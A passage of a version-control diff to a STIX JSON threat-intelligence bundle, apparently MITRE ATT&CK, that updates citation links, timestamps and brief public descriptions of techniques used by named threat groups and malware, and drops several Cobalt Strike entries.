"2021-03-29T19:49:11.265Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -79364,14 +81022,14 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", "relationship_type": "uses", "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "type": "relationship", - "modified": "2020-03-16T17:51:40.085Z", + "modified": "2021-04-21T16:41:34.716Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -79384,14 +81042,15 @@ "external_references": [ { "source_name": "DustySky", - "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016." + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" } ], "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", "relationship_type": "uses", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "type": "relationship", - "modified": "2020-05-14T15:14:33.567Z", + "modified": "2021-04-27T19:53:40.882Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -79426,14 +81085,14 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", "relationship_type": "uses", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "type": "relationship", - "modified": "2020-03-16T17:51:40.864Z", + "modified": "2021-04-21T16:41:34.662Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -79551,7 +81210,7 @@ { "id": "relationship--5c2cd95f-9c3a-4893-9a5f-960cfed62572", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used Daniel Bohannon\u2019s Invoke-Obfuscation framework.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: GitHub Invoke-Obfuscation) The group has also used other obfuscation methods, including Base64 obfuscation of VBScripts and PowerShell commands.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: FireEye MuddyWater Mar 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Talos MuddyWater May 2019)(Citation: ClearSky MuddyWater June 2019)", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used Daniel Bohannon\u2019s Invoke-Obfuscation framework and obfuscated PowerShell scripts.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: GitHub Invoke-Obfuscation) The group has also used other obfuscation methods, including Base64 obfuscation of VBScripts and PowerShell commands.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: FireEye MuddyWater Mar 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Talos MuddyWater May 2019)(Citation: ClearSky MuddyWater June 2019)(Citation: Trend Micro Muddy Water March 2021)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -79590,13 +81249,18 @@ "source_name": "ClearSky MuddyWater June 2019", "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf", "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020." + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." } ], "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "relationship_type": "uses", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "type": "relationship", - "modified": "2020-05-18T17:29:31.216Z", + "modified": "2021-04-08T15:41:48.676Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -79646,27 +81310,6 @@ "modified": "2019-04-10T15:59:09.372Z", "created": "2017-05-31T21:33:27.054Z" }, - { - "id": "relationship--b9e624b0-47d1-4463-970b-fbb6ddcd7171", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use WMI to deliver a payload to a remote host.(Citation: cobaltstrike manual)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", - "type": "relationship", - "modified": "2019-06-06T19:04:39.341Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--3cdc74fc-a291-4253-98b4-ca33e021914a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -79679,7 +81322,8 @@ "external_references": [ { "source_name": "DustySky", - "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016." + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" }, { "url": "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf", @@ -79694,7 +81338,7 @@ ], "description": "(Citation: DustySky)(Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)", "type": "relationship", - "modified": "2020-05-14T14:30:09.805Z", + "modified": "2021-04-27T19:55:39.211Z", "created": "2017-05-31T21:33:27.055Z" }, { @@ -80589,15 +82233,20 @@ "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/", "source_name": "Securelist Darkhotel Aug 2015" + }, + { + "source_name": "Microsoft DUBNIUM July 2016", + "url": "https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/", + "description": "Microsoft. (2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . Retrieved March 31, 2021." } ], - "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has obfuscated code used in an operation using RC4 and other methods.(Citation: Securelist Darkhotel Aug 2015)", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has obfuscated code using RC4, XOR, and RSA.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)", "id": "relationship--1330d8a5-c8be-4579-8a91-4cfda860ea0a", "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", "relationship_type": "uses", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "type": "relationship", - "modified": "2020-03-16T20:05:43.485Z", + "modified": "2021-04-22T14:35:25.547Z", "created": "2019-01-30T17:43:28.252Z" }, { @@ -80738,13 +82387,13 @@ "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018." } ], - "description": "[APT29](https://attack.mitre.org/groups/G0016) uses TCP for C2 communications.(Citation: FireEye APT29 Nov 2018)", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used TCP for C2 communications.(Citation: FireEye APT29 Nov 2018)", "id": "relationship--7ef9be47-db80-47bd-bff1-a7f4c1a22562", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "relationship_type": "uses", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "type": "relationship", - "modified": "2019-07-25T14:25:53.295Z", + "modified": "2021-04-19T13:59:53.475Z", "created": "2019-01-30T14:19:17.622Z" }, { @@ -81131,15 +82780,20 @@ "source_name": "ESET Zebrocy Nov 2018", "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019." + }, + { + "source_name": "CISA Zebrocy Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020." } ], - "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses an encryption method similar to RC4 as well as AES to encrypt data before exfiltration. (Citation: Securelist Sofacy Feb 2018)(Citation: ESET Zebrocy Nov 2018)", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has used a method similar to RC4 as well as AES for encryption and hexadecimal for encoding data before exfiltration. (Citation: Securelist Sofacy Feb 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: CISA Zebrocy Oct 2020) ", "id": "relationship--960accee-d5ea-4570-8697-84ada0cc266a", "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", "relationship_type": "uses", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "type": "relationship", - "modified": "2020-03-30T03:06:30.339Z", + "modified": "2020-12-09T21:54:33.258Z", "created": "2019-01-30T18:39:48.410Z" }, { @@ -81236,27 +82890,6 @@ "modified": "2020-03-17T01:58:31.552Z", "created": "2019-01-30T19:50:46.733Z" }, - { - "id": "relationship--b942cd55-6fed-49a1-ba05-af23836b518f", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can exploit vulnerabilities such as MS14-058.(Citation: Cobalt Strike TTPs Dec 2017)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf", - "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", - "source_name": "Cobalt Strike TTPs Dec 2017" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", - "type": "relationship", - "modified": "2019-06-06T19:04:39.421Z", - "created": "2018-01-16T16:13:52.465Z" - }, { "id": "relationship--47880b58-f0e2-4898-a218-6df6333329ed", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -81392,7 +83025,7 @@ ], "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/", + "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/", "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "source_name": "Nccgroup Emissary Panda May 2018" } @@ -81401,7 +83034,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "type": "relationship", - "modified": "2019-07-14T21:15:55.223Z", + "modified": "2021-03-29T19:43:26.822Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -81582,32 +83215,6 @@ "modified": "2019-08-20T13:08:13.451Z", "created": "2017-05-31T21:33:27.036Z" }, - { - "id": "relationship--e873321b-0d76-4cd6-bc46-8231cfcdeba0", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) allows adversaries to modify the way the \"beacon\" payload communicates. This is called \"Malleable C2\" in the [Cobalt Strike](https://attack.mitre.org/software/S0154) manual and is intended to allow a penetration test team to mimic known APT C2 methods.(Citation: cobaltstrike manual)(Citation: GitHub Malleable C2)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - }, - { - "url": "https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/safebrowsing.profile", - "description": "Mudge, R. (2014, July 14). Github Malleable-C2-Profiles safebrowsing.profile. Retrieved June 18, 2017.", - "source_name": "GitHub Malleable C2" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", - "type": "relationship", - "modified": "2019-06-06T19:04:39.414Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--e898c937-29b0-4e30-aeed-017ac3bbc3ed", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -81773,12 +83380,12 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "description": "(Citation: Cylance Cleaver)", "type": "relationship", - "modified": "2019-03-22T20:00:23.928Z", + "modified": "2021-04-21T16:41:34.707Z", "created": "2017-05-31T21:33:27.032Z" }, { @@ -82333,42 +83940,6 @@ "modified": "2019-08-16T18:52:50.583Z", "created": "2018-10-17T00:14:20.652Z" }, - { - "id": "relationship--ab9b78cc-2b83-4074-beeb-0af4aad906d3", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", - "relationship_type": "uses", - "target_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "external_references": [ - { - "source_name": "FireEye APT32 May 2017", - "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", - "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" - }, - { - "source_name": "Volexity OceanLotus Nov 2017", - "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.", - "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/" - }, - { - "source_name": "Cybereason Oceanlotus May 2017", - "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt", - "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018." - }, - { - "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", - "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", - "source_name": "Cybereason Cobalt Kitty 2017" - } - ], - "description": "(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)", - "type": "relationship", - "modified": "2020-03-18T19:33:55.183Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--c569059f-8a7d-4777-a111-d3ab62d178ca", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -82520,15 +84091,25 @@ "source_name": "FireEye APT32 April 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html", "description": "Henderson, S., et al. (2020, April 22). Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage. Retrieved April 28, 2020." + }, + { + "source_name": "Volexity Ocean Lotus November 2020", + "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", + "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020." + }, + { + "source_name": "Amnesty Intl. Ocean Lotus February 2021", + "url": "https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/", + "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021." } ], - "description": "[APT32](https://attack.mitre.org/groups/G0050) has sent spearphishing emails containing malicious links.(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: FireEye APT32 April 2020)", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has sent spearphishing emails containing malicious links.(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: FireEye APT32 April 2020)(Citation: Volexity Ocean Lotus November 2020)(Citation: Amnesty Intl. Ocean Lotus February 2021)", "id": "relationship--5758382a-2ada-4d05-ad25-8ee802a9e041", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "relationship_type": "uses", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "type": "relationship", - "modified": "2020-04-29T15:17:18.826Z", + "modified": "2021-03-01T16:51:08.367Z", "created": "2019-01-31T01:07:58.708Z" }, { @@ -82722,14 +84303,14 @@ "target_ref": "malware--039814a0-88de-46c5-a4fb-b293db21880a", "external_references": [ { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" } ], "description": "(Citation: Symantec Elderwood Sept 2012)", "type": "relationship", - "modified": "2019-03-22T20:15:19.509Z", + "modified": "2021-01-06T19:32:28.683Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -82929,12 +84510,12 @@ "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99" } ], - "type": "relationship", - "modified": "2018-10-17T00:14:20.652Z", - "created": "2018-04-18T17:59:24.739Z", "source_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde", "relationship_type": "uses", - "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "type": "relationship", + "modified": "2021-02-09T14:56:14.782Z", + "created": "2018-04-18T17:59:24.739Z" }, { "id": "relationship--64aab090-e7c2-4114-8c15-49700b611fb8", @@ -83004,27 +84585,6 @@ "modified": "2019-03-22T20:09:34.829Z", "created": "2017-05-31T21:33:27.044Z" }, - { - "id": "relationship--d13aaa09-5465-4439-b100-444242601a98", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can be configured to have commands relayed over a peer-to-peer network of infected hosts. This can be used to limit the number of egress points, or provide access to a host without direct internet access.(Citation: cobaltstrike manual)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", - "type": "relationship", - "modified": "2020-03-20T21:52:32.288Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--36755c7d-92bf-4851-91ef-f1bf41f27210", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -83039,12 +84599,12 @@ "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99" } ], - "type": "relationship", - "modified": "2018-10-17T00:14:20.652Z", - "created": "2018-04-18T17:59:24.739Z", "source_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde", "relationship_type": "uses", - "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "type": "relationship", + "modified": "2021-02-09T14:56:14.790Z", + "created": "2018-04-18T17:59:24.739Z" }, { "id": "relationship--ae38c68d-cc08-4460-9d98-ddf957f837e2", @@ -83057,14 +84617,14 @@ { "source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", - "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf" } ], "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", "relationship_type": "uses", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "type": "relationship", - "modified": "2020-03-28T21:32:59.696Z", + "modified": "2020-11-23T17:03:38.775Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -84332,7 +85892,7 @@ }, { "source_name": "NCCGroup RokRat Nov 2018", - "url": "https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/november/rokrat-analysis/", + "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/", "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020." } ], @@ -84340,7 +85900,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "type": "relationship", - "modified": "2020-05-21T17:07:02.738Z", + "modified": "2021-03-29T19:50:54.270Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -84621,16 +86181,16 @@ "source_name": "Adsecurity Mimikatz Guide" }, { - "source_name": "NCSC Joint Report Public Tools", - "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", - "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019." + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", + "source_name": "NCSC Joint Report Public Tools" } ], "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "relationship_type": "uses", "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", "type": "relationship", - "modified": "2019-04-24T23:36:42.304Z", + "modified": "2021-01-25T15:43:45.856Z", "created": "2018-01-16T16:13:52.465Z" }, { @@ -84706,7 +86266,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", "type": "relationship", - "modified": "2020-10-12T12:16:55.317Z", + "modified": "2021-04-14T14:16:12.328Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -84775,7 +86335,7 @@ { "id": "relationship--3ba2b8bc-1c5b-4cb3-8234-a7dc7b7552d0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Matroyshka](https://attack.mitre.org/software/S0167) is capable of providing Meterpreter shell access.(Citation: ClearSky Wilted Tulip July 2017)", + "description": "[Matryoshka](https://attack.mitre.org/software/S0167) is capable of providing Meterpreter shell access.(Citation: ClearSky Wilted Tulip July 2017)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -85016,14 +86576,14 @@ "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", "external_references": [ { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" } ], "description": "(Citation: Symantec Elderwood Sept 2012)", "type": "relationship", - "modified": "2019-03-22T20:15:19.544Z", + "modified": "2021-01-06T19:32:29.096Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -85077,14 +86637,15 @@ "external_references": [ { "source_name": "DustySky", - "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016." + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" } ], "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", "relationship_type": "uses", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "type": "relationship", - "modified": "2020-05-14T15:14:33.569Z", + "modified": "2021-04-27T19:53:40.870Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -85153,41 +86714,46 @@ { "id": "relationship--2dbed740-1b50-4d59-a729-a1d9e6a839df", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used Web shells, often to maintain access to a victim network.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used web shells, often to maintain access to a victim network.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: Crowdstrike GTR2020 Mar 2020)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/", "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", - "url": "https://pan-unit42.github.io/playbook_viewer/" + "source_name": "Unit 42 Playbook Dec 2017" }, { "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east", "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", "source_name": "FireEye APT34 Webinar Dec 2017" + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." } ], "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "relationship_type": "uses", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "type": "relationship", - "modified": "2020-01-10T15:11:41.183Z", + "modified": "2021-03-11T22:04:43.672Z", "created": "2018-01-16T16:13:52.465Z" }, { "id": "relationship--239d98a7-f134-4270-8333-c2df2feaa9ca", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[menuPass](https://attack.mitre.org/groups/G0045) has sent malicious Office documents via email as part of spearphishing campaigns as well as executables disguised as documents.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)(Citation: FireEye APT10 Sept 2018)(Citation: DOJ APT10 Dec 2018)", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has sent malicious Office documents via email as part of spearphishing campaigns as well as executables disguised as documents.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)(Citation: FireEye APT10 Sept 2018)(Citation: District Court of NY APT10 Indictment December 2018)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": 